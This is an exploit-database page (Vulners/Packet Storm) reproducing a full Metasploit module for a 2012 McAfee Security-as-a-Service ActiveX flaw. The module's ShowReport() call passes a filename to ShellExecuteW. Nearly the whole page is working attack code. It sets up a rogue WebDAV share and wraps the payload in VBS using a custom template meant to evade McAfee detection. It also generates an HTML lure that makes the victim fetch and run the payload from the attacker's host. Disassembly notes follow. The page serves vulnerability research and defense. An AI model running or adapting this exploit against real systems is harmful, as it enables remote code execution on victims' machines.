Lucene search
K

McAfee SaaS MyCioScan ShowReport Remote Command Execution

🗓️ 18 Jan 2012 00:00:00Reported by rgodType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

McAfee SaaS MyCioScan ShowReport Remote Command Execution. Vulnerability in McAfee Security-as-a-Service allows execution of arbitrary code via ShowReport() function in myCIOScn.dll ActiveX component

Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "McAfee SaaS MyCioScan ShowReport Remote Command Execution",  
'Description' => %q{  
This module exploits a vulnerability found in McAfee Security-as-a-Service.  
The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails  
to check the FileName argument, and passes it on to a ShellExecuteW() function,  
therefore allows any malicious attacker to execute any process that's on the  
local system. However, if the victim machine is connected to a remote share (  
or something similiar), then it's also possible to execute arbitrary code.  
Please note that a custom template is required for the payload, because the  
default Metasploit template is detectable by McAfee -- any Windows binary, such  
as calc.exe or notepad.exe, should bypass McAfee fine.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'rgod', #Initial discovery  
'sinn3r', #Metasploit  
],  
'References' =>  
[  
['OSVDB', '78310'],  
['BID', '51397'],  
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-012'],  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "none",  
#'InitialAutoRunScript' => 'migrate -f',  
'DisablePayloadHandler' => 'false',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Internet Explorer', {}],  
],  
'Privileged' => false,  
'DisclosureDate' => "Jan 12 2012",  
'DefaultTarget' => 0))  
  
register_options([  
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),  
OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),  
OptString.new('URIPATH', [ true, "The URI to use", "/" ]),  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),  
OptPath.new('TEMPLATE', [true, 'A custom template for the payload in order to bypass McAfee', ''])  
], self.class)  
end  
  
def on_request_uri(cli, request)  
case request.method  
when 'OPTIONS'  
process_options(cli, request)  
when 'PROPFIND'  
process_propfind(cli, request)  
when 'GET'  
process_get(cli, request)  
else  
print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")  
resp = create_response(404, "Not Found")  
resp.body = ""  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
end  
end  
  
def process_get(cli, request)  
print_status("URI requested: #{request.uri.to_s}")  
  
if request.uri =~ /\.vbs$/i  
# Depending on the connection speed, this might take a moment to transfer the  
# payload and actually get executed  
send_response(cli, @vbs, {'Content-Type'=>'application/octet-stream'})  
print_status("executable sent")  
else  
# Don't know the request, return not found  
print_error("Don't care about this file, 404")  
send_not_found(cli)  
end  
  
return  
end  
  
def process_options(cli, request)  
vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")  
headers = {  
'MS-Author-Via' => 'DAV',  
'DASL' => '<DAV:sql>',  
'DAV' => '1, 2',  
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',  
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',  
'Cache-Control' => 'private'  
}  
  
resp = create_response(207, "Multi-Status")  
headers.each_pair {|k,v| resp[k] = v }  
resp.body = ''  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
end  
  
def process_propfind(cli, request)  
path = request.uri  
vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")  
body = ''  
  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
my_uri = "http://#{my_host}/"  
  
if path !~ /\/$/  
if path.index(".")  
print_status("Sending 404 for #{path} ...")  
resp = create_response(404, "Not Found")  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
else  
print_status("Sending 301 for #{path} ...")  
resp = create_response(301, "Moved")  
resp["Location"] = path + "/"  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
end  
end  
  
print_status("Sending directory multistatus for #{path} ...")  
  
body = <<-BODY  
<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
BODY  
  
body = body.gsub(/^\t\t/, '')  
  
if request["Depth"].to_i > 0  
if path.scan("/").length < 2  
body << generate_shares(path)  
else  
# Set payload name, and set the hidden attribute. True means visible  
filenames = [ [@vbs_name, false] ]  
body << generate_files(path, filenames)  
end  
end  
  
body << "</D:multistatus>"  
  
body.gsub!(/\t/, '')  
  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml; charset="utf8"'  
cli.send_response(resp)  
end  
  
def gen_timestamp(ttype=nil)  
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")  
end  
  
def gen_datestamp(ttype=nil)  
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")  
end  
  
def generate_shares(path)  
share_name = datastore['SHARENAME']  
share = <<-SHARE  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{share_name}/</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
SHARE  
share = share.gsub(/^\t\t/, '')  
return share  
end  
  
def generate_files(path, items)  
trail = path.split("/")  
return "" if trail.length < 2  
  
files = ""  
items.each do |f, hide|  
h = hide ? '1' : '0'  
files << <<-FILES  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{f}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
<D:ishidden b:dt="boolean">#{h}</D:ishidden>  
</D:propstat>  
</D:response>  
FILES  
end  
  
files = files.gsub(/^\t\t\t/, '')  
  
return files  
end  
  
def get_payload  
fname = rand_text_alpha(5) + ".vbs"  
p = payload.encoded  
exe = Msf::Util::EXE.to_win32pe($framework, p, {:inject=>true, :template=>datastore['TEMPLATE']})  
vbs = Msf::Util::EXE.to_exe_vbs(exe)  
return fname, vbs  
end  
  
def exploit  
@vbs_name, @vbs = get_payload  
  
#  
# progid: MYCIOSCNLib.Scan  
# clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7  
#  
myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']  
obj_name = rand_text_alpha(rand(6) + 3)  
sub_name = rand_text_alpha(rand(6) + 3)  
html = <<-HTML  
<html>  
<head>  
</head>  
<body>  
<object classid='clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7' id='#{obj_name}'></object>  
<script language='vbscript'>  
sub #{sub_name}  
#{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}\\#{@vbs_name}"  
end sub  
  
#{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}"  
window.setTimeout "#{sub_name}", 1000  
</script>  
</body>  
</html>  
HTML  
  
html = html.gsub(/^\t\t/, '')  
file_create(html)  
print_status("#{datastore['FILENAME']} must be run locally in order to execute our payload")  
  
super  
end  
  
end  
  
=begin  
myCIOScn!CScnXml::SetNumScanned+0x19ab:  
2101caf9 55 push ebp  
  
0:003> lmv m myCIOScn  
start end module name  
21000000 2106d000 myCIOScn (export symbols) C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll  
Loaded symbol image file: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll  
Image path: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll  
Image name: myCIOScn.dll  
Timestamp: Wed Aug 10 11:34:01 2011 (4E42CF19)  
CheckSum: 0007C3A6  
ImageSize: 0006D000  
File version: 5.2.3.104  
Product version: 5.2.0.0  
File flags: 0 (Mask 3F)  
File OS: 40004 NT Win32  
File type: 1.0 App  
File date: 00000000.00000000  
Translations: 0409.04b0  
CompanyName: McAfee, Inc.  
ProductName: McAfee® Security-as-a-Service  
InternalName: myCioScn  
OriginalFilename: myCioScn.DLL  
ProductVersion: 5.2.3  
FileVersion: 5.2.3.104  
PrivateBuild: 5.2.3.104  
SpecialBuild: FULL  
FileDescription: myCioScn Module  
  
.text:2101CB1A push esi  
.text:2101CB1B push 1  
.text:2101CB1D xor esi, esi  
.text:2101CB1F push esi  
.text:2101CB20 push esi  
.text:2101CB21 push eax ; we own this  
.text:2101CB22 push offset aOpen ; "open"  
.text:2101CB27 push esi  
.text:2101CB28 mov [ebp+0A50h+Str], eax  
.text:2101CB2B call off_2105D350 ; ShellExecuteW  
=end`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation